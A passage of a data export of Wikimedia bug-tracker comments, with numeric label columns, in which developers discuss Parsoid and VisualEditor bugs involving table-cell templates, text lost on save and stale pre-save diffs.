+Scott, is the glitch with the certification tables at http://en.wikipedia.org/w/index.php?title=Metallica_%28album%29&oldid=566196578&veaction=edit another effect of 50589, this bug, or should I open a new bug report for it?",,,1375200034,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0
+213813,Template creating CSS in a table's cell does not come through,rewritten in a more-or-less straightforward manner.,,,1375196456,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0
+213808,Template creating CSS in a table's cell does not come through,"Having looked into it a bit, I agree that the current bug is related to bug 50589.  However, bug 50589 *should* work -- the template is still well structured, it is just generating content for more than one table cell.  This bug, on the other hand, has a template which spans structural boundaries in the HTML.  For example:
+
+{|
+|align=center {{table_attribs}}
+|}
+
+where {{table_attribs}} expands to 'style=""color: red""|Foo'.  This wants to generate something like the following HTML:
+<table><tr>
+<td align=""center"" style=""color: red""> Foo
+</td></tr></table>
+
+Note that the <td> and some of its attributes come from the article text, and the rest of the attributes come from the template. I might be able to hack this through Parsoid, but VE will probably never be able to edit the result.  (Imagine how you'd present the table cell editing UI for something like this.) So the bot approach should probably be used to clean up constructs like these, to something like:
+
+{|
+{{table_attribs|align=center}}
+|}
+
+Now the template is well-structured in the resulting html.
+
+My current approach is to attempt to get these cases parsed by parsoid, resulting in uneditable-but-visually-correct output.  We will still want a bot to rewrite the templates so to make them editable in the articles using them.
+
+As MZMcBridge correctly guessed, I'm currently running a grep over an enwiki dump to figure out exactly how many articles use table cell templates.  It's not done running yet so I don't have exact statistics, but the short answer is, ""a lot"".  So far nothing that can't be",,,1375196416,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,1,1,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+213806,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:
+
+(In reply to comment #15)
+> (In reply to comment #12)
+> > Bots that modify existing articles to bypass bugs in Parsoid should be off
+> > the table as a solution.
+> 
+> [[Hard cases make bad law]]. :-)
+> 
+> As a general rule, Parsoid should be handle wikitext in the wild. However, we
+> need more information about the prevalence of these constructs on Wikimedia
+> wikis and the amount of work required to properly handle them before we can
+> make any real decisions here. Scott's Gerrit change #76626 seems to be a step
+> in the right direction.
+
+I'm more an adherent to the concept that rigorous adherence to fundamental principles always pays off in the long run, and ""Parsoid should handle all wikitext currently in existence in English Wikipedia"" strikes me as one of those fundamentals.
+
+I'm concerned by the existence of this one and its interplay with 50589. It appears that Parsoid and VE made some assumptions about how templates, wikimarkup, and tables would interact that aren't true.
+
+Take a look at the certification table in http://en.wikipedia.org/w/index.php?title=Metallica_%28album%29&oldid=566196578&veaction=edit for example. There's something going on in http://en.wikipedia.org/wiki/Template:Certification_Table_Top or http://en.wikipedia.org/wiki/Template:Certification_Table_Entry that's causing more weirdness. I don't know if that's this one, 50589, or yet another related bug.",,,1375138733,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+213801,Template creating CSS in a table's cell does not come through,"(In reply to comment #12)
+> Bots that modify existing articles to bypass bugs in Parsoid should be off
+> the table as a solution.
+
+[[Hard cases make bad law]]. :-)
+
+As a general rule, Parsoid should be handle wikitext in the wild. However, we need more information about the prevalence of these constructs on Wikimedia wikis and the amount of work required to properly handle them before we can make any real decisions here. Scott's Gerrit changeset 76626 seems to be a step in the right direction.",,,1375134893,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+213796,Template creating CSS in a table's cell does not come through,"Change 76626 merged by jenkins-bot:
+Add 2 more dumpGrepper patterns to get a handle on bug 44498.
+
+https://gerrit.wikimedia.org/r/76626",,,1375132104,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+213789,Template creating CSS in a table's cell does not come through,"Change 76626 had a related patch set uploaded by Cscott:
+Add 2 more dumpGrepper patterns to get a handle on bug 44498.
+
+https://gerrit.wikimedia.org/r/76626",,,1375131923,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+213779,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:
+
+(In reply to comment #11)
+> We are definitely not trying to make life harder for editors.  We are just
+> trying to figure out the best solution going forward.
+
+The best solution going forward is to repair Parsoid. While I agree that we can do things with wikitext that no sane person would *want* to, there's no way to prevent us from doing so, and VE cannot fail based on things that work fine in the standard editor.
+
+Bots that modify existing articles to bypass bugs in Parsoid should be off the table as a solution.",,,1375126397,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+213772,Template creating CSS in a table's cell does not come through,"We are definitely not trying to make life harder for editors.  We are just trying to figure out the best solution going forward.
+
+Visual editing is a HTML-based operation, and HTML has structural semantics.  Longer-term, it would make for a better and simpler software and editing interface if templates generated entire html elements instead of part of elements (which these templates do).  We are just trying to reconcile wikitext structural information with HTML structural information with a view towards the long-term.
+
+While we definitely welcome participation and support of existing template/bot authors here, we are definitely not planning to offload this job of writing bots or updating pages onto editors.
+
+All that said, resolving this issue might well involve a temporary interim fix and a strategy for a longer-term resolution that moves wikitext and templates towards a more cleaner solution that is more aligned with HTML DOM semantics.",,,1375125861,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,True,,,4,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+213765,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:
+
+Why would we change the contents of articles to match something that Parsoid likes instead of repairing Parsoid? 
+
+The specification of Parsoid surely must have included a spec that all templates and wikitext syntax in widespread use in English wikipedia needed to be handled properly. Since Parsoid doesn't meet that requirement, repair Parsoid.",,,1375124914,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+213760,Template creating CSS in a table's cell does not come through,"From an email thread with Subbu & C.Scott:
+
+Subbu writes:
+
+Gabriel and I started discussing this the week before he headed out on vacation ... we'll continue once he is back ... we might either have to hack or use other tricks to support these templates.  A bot pass (https://bugzilla.wikimedia.org/show_bug.cgi?id=50547) is one idea we've considered (first fix up the templates, and then use a bot to go and fix pages that use the templates).
+
+---
+I asked:
+
+If we wanted to improve the markup of these templates so they can be more sanely parsed, what instructions would we provide?
+
+---
+Subbu responds:
+
+Instead of generating just style attributes of a table cell, make the ""|"" char part of the template.  So, the templates should produce a styled-cell rather than just the cell-style. And, that also means that the pages that use these should not have ""|"" char before the transclusion -- but we may be able to work around by recognizing that pattern (I say that without working through the details).
+
+So, instead of (old wikitext):
+{|
+| {{yes}}
+|}
+
+they would have to code this as:
+{|
+{{yes}}
+|}
+
+Looks like there are quite a few of these here: https://en.wikipedia.org/wiki/Template:Table_cell_templates  I haven't investigated all the various ways these templates are used, but at first pass, I think that approach should fix the problem.
+
+---
+
+C.Scott responds:
+
+It's probably worth bringing the VE team into this discussion.  I
+think that VE would probably struggle trying to edit table cell(s)
+generated with a template containing a style + cell contents in this
+fashion and/or have difficulty processing whatever markup we decide
+Parsoid ""should"" generate for this case.  My intuition is that fixing
+the templates to include the leading vertical bar, so that the
+template is clearly a cell, not part-of-a-cell, is a better long-term
+solution for editing (Parsoid+VE).  It seems like a bot to make this
+change could be implemented + deployed relatively quickly, although I
+haven't actually written a bot before, maybe there are community or
+other factors limiting the speed at which bot edits are made?
+ --scott
+ps. who'd be interested in writing said bot, because he's never done
+that before, although I suspect it would be best farmed off to someone
+who's done this sort of thing before.
+
+And also adds:
+
+Note that there are some anomalous usages, for example:
+
+! {{yes}}
+| rowspan=2 {{n/a}}
+
+The first case would have to be {{yes|type=header}} and the second
+something like {{n/a|rowspan=2}}, both with additional changes to the
+table cell template.  In other words, the issue isn't just that the
+style and cell content boundary is spanned, it's that some of the
+style comes from outside the template and some comes from inside.
+
+I still think a bot might be the best long-term fix, but it's not
+entirely straightforward.  If we were to fix it inside parsoid, we'd
+have to introduce something like an ""open style context"", probably
+buffering the style information and spitting it out only after we've
+seen the style context closed.  It would still be an ""interesting""
+editing challenge in VE -- some of the table style information would
+be editable, some would come from the template (and be editable only
+inside the template editor?).
+ --scott",,,1375122625,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+213756,Template creating CSS in a table's cell does not come through,"Bumping up the importance, per comment 7.",,,1374874237,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+213752,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:
+
+This one as well: http://en.wikipedia.org/w/index.php?title=List_of_Big_Time_Rush_episodes&diff=prev&oldid=565906957
+
+This really isn't a ""low importance"" bug by any stretch of the imagination. It affects most discographies, most television episode lists, and most award lists.",,,1374858786,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,1,0
+213747,Template creating CSS in a table's cell does not come through,Could aftereffects of this be responsible for the nightmare at https://en.wikipedia.org/w/index.php?title=Bosnia_and_Herzegovina_in_the_Eurovision_Song_Contest&diff=565659865&oldid=565498623 ?,,,1374704447,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0
+213743,Template creating CSS in a table's cell does not come through,*** Bug 50366 has been marked as a duplicate of this bug. ***,,,1374455443,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+213737,Template creating CSS in a table's cell does not come through,"There are many templates in this set.
+https://en.wikipedia.org/wiki/Template:Table_cell_templates
+
+And the most commonly used ones are copied to other languages.  See the interwikis for {{Yes}}
+https://en.wikipedia.org/wiki/Template:Yes",,,1374454995,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1
+213730,Template creating CSS in a table's cell does not come through,*** Bug 50772 has been marked as a duplicate of this bug. ***,,,1374454764,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+213720,Template creating CSS in a table's cell does not come through,"This will be hard to support, as the nested template produces part of the table cell syntax plus the table cell content. Moving the pipe starting the table cell into the template would avoid this issue as the template would then expand to a self-contained table cell with content.
+
+Are there other templates following this pattern apart from Yes (and probably No)?",,,1360210956,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0
+213713,Template creating CSS in a table's cell does not come through,"This is a Parsoid bug; couldn't find the master with which to mark as dupe (sorry, Gabriel!).",,,1360209226,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+46479,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"diff about to delete existing text
+
+I've seen this a few times and I think this is the simplest reproduction. 
+
+Start with a page that has a line of text ""this text should be preserved but is not""
+
+In VE, position the cursor at the front of the line and move it two spaces down. 
+
+Move the cursor back to the top of the page. 
+
+Type a new line ""totally different stuff""
+
+Save.  Note the incorrect diff. The string ""this text should be preserved but is not"" has been deleted erroneously upon save.  
+
+Repeat the operation but this time use strings that share words, like ""this text should be preserved"" and ""this text is new""
+
+The behavior is the same, the old text is erroneously deleted, but the diff seems to have intertwined the two strings, keeping their common elements.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.wikipedia.org/w/index.php?title=User:Cmcmahon(WMF)&oldid=535559576
+
+**Attached**: {F10454}",High,80.0,1359488700,1366396947.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_description,resolved,True,c1,1,False,False,True,-22,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0
+212734,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"This is now fixed given the Parsoid update. Sorry for the delay! (Note that there is a distinct error that this has just thrown up, yayfuntimes.)",,,1366396947,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+212730,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"Created attachment 11741
+'text should be preserved' is not
+
+real screen shot from real computer, my apologies
+
+**Attached**: {F10457}",,,1360210415,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-21,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+212726,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"Created attachment 11740
+text with string that will be deleted before save
+
+real screen shot from real computer
+
+**Attached**: {F10456}",,,1360210348,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-21,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+212723,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,This looks to be a Parsoid bug (and is highly dependent on the rest of the page's content); will re-visit when Parsoid is updated before progressing.,,,1360208728,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,True,,,-21,,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+212721,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"The content of attachment 11709 has been deleted by
+    James Forrester <jforrester@wikimedia.org>
+who provided the following reason:
+
+Not intended to be on Bugzilla?
+
+The token used to delete this attachment was generated at 2013-02-07 03:38:14 UTC.",,,1360208305,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1
+212719,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"The content of attachment 11710 has been deleted by
+    James Forrester <jforrester@wikimedia.org>
+without providing any reason.
+
+The token used to delete this attachment was generated at 2013-02-07 03:36:53 UTC.",,,1360208263,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,True,,,-21,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+212716,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"(In reply to comment #2)
+> Created attachment 11709 [details]
+> preview of page before save has correct text
+
+(In reply to comment #3)
+> Created attachment 11710 [details]
+> saved page, existing text deleted erroneously
+Ahm.... these are pictures of deer. Just sayin'.
+
+//attachment 2012-12-30 11.02.48.jpg ignored as obsolete//",,,1360208240,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-21,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+212713,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"Created attachment 11710
+saved page, existing text deleted erroneously
+
+//attachment 2013-01-13 15.01.28.jpg ignored as obsolete//",,,1359488894,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-22,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+212710,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"Created attachment 11709
+preview of page before save has correct text
+
+//attachment 2012-12-30 11.02.48.jpg ignored as obsolete//",,,1359488849,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-22,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+212706,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"Created attachment 11708
+better view of intertwined strings
+
+**Attached**: {F10455}",,,1359488791,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-22,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0
+46446,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"Go to a new page. Enter some content. Press review-and-save. Observe diff. Press the ""leave this context"" button (""^""). Change the content. Press review-and-save again. Observe diff.
+
+Expectation: The diff shows the changes against the new content.
+Reality: The diff shows the changes against the original content (not re-done).
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1359415380,1368043283.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_description,resolved,True,c1,1,True,False,True,-22,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+210654,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"Code now merged; thanks, Timo! Will go out in next branch.",,,1368043283,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
